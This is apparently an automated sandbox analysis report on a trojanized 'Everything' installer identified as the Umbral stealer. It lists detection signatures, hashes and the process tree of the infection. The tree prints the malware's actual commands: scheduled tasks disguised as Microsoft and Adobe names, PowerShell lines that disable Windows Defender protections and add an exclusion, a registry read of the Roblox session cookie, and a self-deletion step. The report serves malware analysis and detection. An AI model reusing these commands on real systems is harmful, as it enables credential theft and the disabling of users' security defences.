Resubmissions

11/04/2025, 11:18

250411-ner8jsxnx2 10

11/04/2025, 11:16

250411-ndjj1sxtdy 10

Analysis

  • max time kernel
    131s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/04/2025, 11:18

General

  • Target

    Everything-1.4.1.1026.x64-Setup2.exe

  • Size

    468KB

  • MD5

    53e560338b0fabac1c89e7baf950046d

  • SHA1

    517c82342d0e5ee0a581ff0db0e543c9cb9986a4

  • SHA256

    c9d2459c5bd3e5044d4d625f92e30bfa475e11fe259fc00c0d4961f5ebe10f3b

  • SHA512

    4216abf6d385c3f37889300dd9c8ec98215e7f8810806b2a306cd6e79747c720972b74026917ed5cc9a07e8c677aed2ad2ffc509290853eaa0ec4bc807a3843d

  • SSDEEP

    12288:hGePVle8y4TKs/u6oZtL+EP855eLcCFdW8j+ctBIX0B:oITKoI8XeLcCFdW8j+ctBIXo

Malware Config

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 15 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe
    "C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3688
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3712
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5068
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4100
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5284
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4180
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:5068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5496
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3032
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5504
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:3480
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:3228
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1872
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3060
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:1868
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:1636
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\czssdsd.txt
        1⤵
        • Opens file in notepad (likely ransom note)
        PID:4632
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
          PID:2664
        • C:\Windows\system32\mspaint.exe
          "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\UseConnect.bmp"
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:2340
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
          1⤵
            PID:3088
          • C:\Program Files\7-Zip\7zFM.exe
            "C:\Program Files\7-Zip\7zFM.exe"
            1⤵
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of FindShellTrayWindow
            PID:1440
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa3842055 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:5036

          Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

            Filesize

            1KB

            MD5

            547df619456b0e94d1b7663cf2f93ccb

            SHA1

            8807c99005eaf2cc44b0b5ec4fc6eac289bfb4e3

            SHA256

            8b7130cc966f3f78e236b4e51eb12e1c82b0bd3f0773275d619b5c545168797a

            SHA512

            01b4e32fdf6c7f2347075c8153bc75a2f32fe3cec19e1a777e263ec4f607b54e046f0e4c7c0bc22581d44cbbdbb076a63eaa50a742f381faad06c86c2b10f67f

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            ded10d75f0c158ab3c672f4097f3f414

            SHA1

            e8eb411226238ee4ec6e8ef69f03171c99d89bc2

            SHA256

            65523e47057f5b14035e727c71136e7a88f88c8a8956729f9f74be4b7343a5a2

            SHA512

            ca925e939197b60f954f071bcd1beb98a4f947759b246afa3c50e5525b2cfab3db490bc3ed4cf8e2f2e5452a8b759ecfbc0a4d0ec904b00077b86212888876d5

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            36bb833bcefdd2f80a289fc681c87627

            SHA1

            4204fa10680f0a9c2699a9eb52709db1cd68e0b7

            SHA256

            52be5401760e6cc30c6018d277e7ce91aa262b3888297f76e95a20fdda8e2ae6

            SHA512

            233fbb528d3b7196fb967fff74e66dd589b6a302e97774a24fbeb971996aa6c1b17f24f19380873c976978552e245b3dd065cdb9d4133ce554c507d92f8778e1

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            3332c2f747b79a54dc9f4867423e31c3

            SHA1

            de8440945ab0c382b6657dd2e6f50bbc2a4b73bd

            SHA256

            f8ddc8eddb53247304e5463829cbf8d1a420a77781237820efa0c94ab18612cd

            SHA512

            96fcc7c39335ce60da1f8db2ff9b62324d60080fb1a5a81262a26c311b78117bf85b481113800f88ac6a37b7ba26a7be510f3c098b26828c751974339a1e8835

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            c9b6705519e1eef08f86c4ba5f4286f3

            SHA1

            6c6b179e452ecee2673a1d4fe128f1c06f70577f

            SHA256

            0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

            SHA512

            6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            548dd08570d121a65e82abb7171cae1c

            SHA1

            1a1b5084b3a78f3acd0d811cc79dbcac121217ab

            SHA256

            cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

            SHA512

            37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

          • C:\Users\Admin\AppData\Local\Temp\Client.exe

            Filesize

            228KB

            MD5

            9d13457fe2154ed1c7c5d080b4e89d75

            SHA1

            813a1143530624a7ebb51eb041d8ab1b1349c428

            SHA256

            4433cbb68bb1948a9093af9d3e4ca43dd9d2e8ab1eb4ef172c84a18122211dbb

            SHA512

            4665ce02912a5d27a847b91fc7dc1a1cd215febe16fa2bd9d90694a9ce45d5475255cdd0d9e2d57c00b61bbdd94ffce6e71227d04530544591043216be48341b

          • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

            Filesize

            231KB

            MD5

            e4b51d29d135168fc262065999c10f6a

            SHA1

            8f7d8872ee04c47af338ea0fe8480a3e5be2d6bb

            SHA256

            72717c89182aa16055fca98ccb899f86084a888681cd5621dcdba99d08056c7c

            SHA512

            d539a85bdbd0bcaa52ed8483d124f61875eb1b28d5bd353087eee1332efd3bf948fcd672e77b06755ccb4af7c1783db87091d99f78da41f12f8187fd22927fb6

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ds4rz0me.gvd.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/2416-24-0x0000000000400000-0x000000000047C000-memory.dmp

            Filesize

            496KB

          • memory/3688-150-0x000000001CF70000-0x000000001CF7C000-memory.dmp

            Filesize

            48KB

          • memory/3688-14-0x00007FFBEE303000-0x00007FFBEE305000-memory.dmp

            Filesize

            8KB

          • memory/3688-15-0x0000000000E30000-0x0000000000E70000-memory.dmp

            Filesize

            256KB

          • memory/4804-28-0x0000018245460000-0x0000018245482000-memory.dmp

            Filesize

            136KB

          • memory/5284-54-0x0000016554320000-0x0000016554396000-memory.dmp

            Filesize

            472KB

          • memory/5284-56-0x00000165542F0000-0x000001655430E000-memory.dmp

            Filesize

            120KB

          • memory/5284-92-0x000001653B820000-0x000001653B82A000-memory.dmp

            Filesize

            40KB

          • memory/5284-93-0x00000165544A0000-0x00000165544B2000-memory.dmp

            Filesize

            72KB

          • memory/5284-55-0x00000165542A0000-0x00000165542F0000-memory.dmp

            Filesize

            320KB

          • memory/5284-111-0x00007FFBEE300000-0x00007FFBEEDC1000-memory.dmp

            Filesize

            10.8MB

          • memory/5284-27-0x00007FFBEE300000-0x00007FFBEEDC1000-memory.dmp

            Filesize

            10.8MB

          • memory/5284-26-0x00007FFBEE300000-0x00007FFBEEDC1000-memory.dmp

            Filesize

            10.8MB

          • memory/5284-25-0x0000016539B90000-0x0000016539BD0000-memory.dmp

            Filesize

            256KB